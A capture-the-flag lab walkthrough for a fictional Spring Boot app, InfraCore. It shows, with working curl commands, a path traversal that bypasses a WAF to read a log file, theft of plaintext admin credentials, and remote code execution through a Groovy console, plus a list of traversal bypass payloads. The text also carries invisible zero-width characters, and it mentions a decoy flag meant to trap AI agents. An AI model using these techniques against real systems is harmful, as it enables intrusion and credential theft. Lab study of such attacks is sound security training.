Lab 253 — InfraCore — Path Traversal to RCE via Groovy Script Console

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_detection, groovy_script_console_rce, log_credential_extraction, single_level_traversal_waf_bypass

Summary

Walkthrough of the CUSTOM Web Lab 253 — InfraCore — Path Traversal to RCE via Groovy Script Console. Task: Java/Spring Boot infrastructure management app with file download endpoint protected by WAF. Solution: bypass WAF with single-level ../ to read application.log, extract admin credentials, login

Description

InfraCore is an infrastructure management platform built by CoreStack Technologies, used by DevOps teams to monitor servers, manage deployments, and generate operational reports. The application features a dashboard with server health metrics, a deployment tracker, and an operational reports section with export functionality. An administrative panel provides system configuration and maintenance tools for platform engineers. Your objective is to find the flag hidden on the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Java/Spring Boot web application with user authentication, a file download endpoint for CSV reports, and a hidden admin panel with a Groovy Script Console. The goal is to find and read the flag file on the server.

Analysis

Initial Reconnaissance

The application is a Java/Spring Boot app running behind nginx/1.25.5 with a Tomcat backend. Logging in with the provided credentials (user@test.com / password123) reveals a dashboard with several pages: /, /servers, /deployments, /reports. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy flag detection: Every page contains a honeypot flag embedded in HTML comments and hidden divs: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}. The name literally spells "decoy not real trap for bots" — this is a fake flag designed to trap automated scanners and AI agents.

Attack Surface Discovery

The Reports page (/reports) lists CSV reports with download links pointing to:

/admin/download?filename=<report-name>.csv

Valid filenames include: incident-report-2024-q3.csv, performance-summary-2024-10.csv, uptime-report-2024-09.csv, uptime-report-2024-10.csv. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The JavaScript file /js/infracore.js also contains a comment referencing this endpoint:

 javascript read-only • copy allowed Copy
var ADMIN_EXPORT_URL = '/admin/download?filename=';

The filename parameter is the primary attack vector — a classic file download endpoint susceptible to path traversal.

WAF Analysis

The application has a WAF (likely nginx-level) that filters directory traversal attempts:

Key insight: Files are served from a reports/ subdirectory. The WAF rule only triggers on 2+ levels of ../ traversal. A single ../ is sufficient to escape the reports/ directory and access sibling directories like logs/.

Solution

Step 1: Login as Regular User

 bash read-only • copy allowed Copy
# Login and capture session cookie
curl -c cookies.txt -X POST 'https://TARGET/login' \
  -d 'username=user@test.com&password=password123'

Step 2: Path Traversal to Read Application Log

 bash read-only • copy allowed Copy
# Single-level traversal bypasses WAF
curl -b cookies.txt 'https://TARGET/admin/download?filename=../logs/application.log'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The application log contains plaintext admin credentials logged during a password migration or authentication event:

... admin credentials: admin / InfraCoreAdmin#2024 ...

Step 3: Login as Admin

 bash read-only • copy allowed Copy
# Login with extracted admin credentials
curl -c admin_cookies.txt -X POST 'https://TARGET/login' \
  -d 'username=admin&password=InfraCoreAdmin#2024'

Step 4: RCE via Groovy Script Console

The admin panel exposes a Groovy Script Console at /admin/console/execute. Groovy runs on the JVM and has full access to Java APIs including file I/O: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
# Execute Groovy script to read the flag
curl -b admin_cookies.txt -X POST 'https://TARGET/admin/console/execute' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'script=new+File("/root/flag.txt").text'

The server executes the Groovy code and returns the flag content directly.

Failed Approaches

• Multi-level traversal (../../../etc/passwd) — blocked by WAF with 403
• URL-encoded traversal (%2e%2e/) — also blocked by WAF
• Nested traversal (....//) — stripped but doesn't traverse, returns 404
• Tomcat path parameter trick (..;/) — returns 404
• Double URL encoding (%252e%252e%252f) — returns 404
• Null byte injection (..%00/) — returns 500 error
• Webapp-relative paths (WEB-INF/web.xml) — returns 404 (wrong directory structure)
• Spring Boot actuator endpoints (/actuator/*) — all return 404 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering decoy_flag_detection, groovy_script_console_rce, log_credential_extraction, single_level_traversal_waf_bypass was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 253 — InfraCore — Path Traversal to RCE via Groovy Script Console • Difficulty: Medium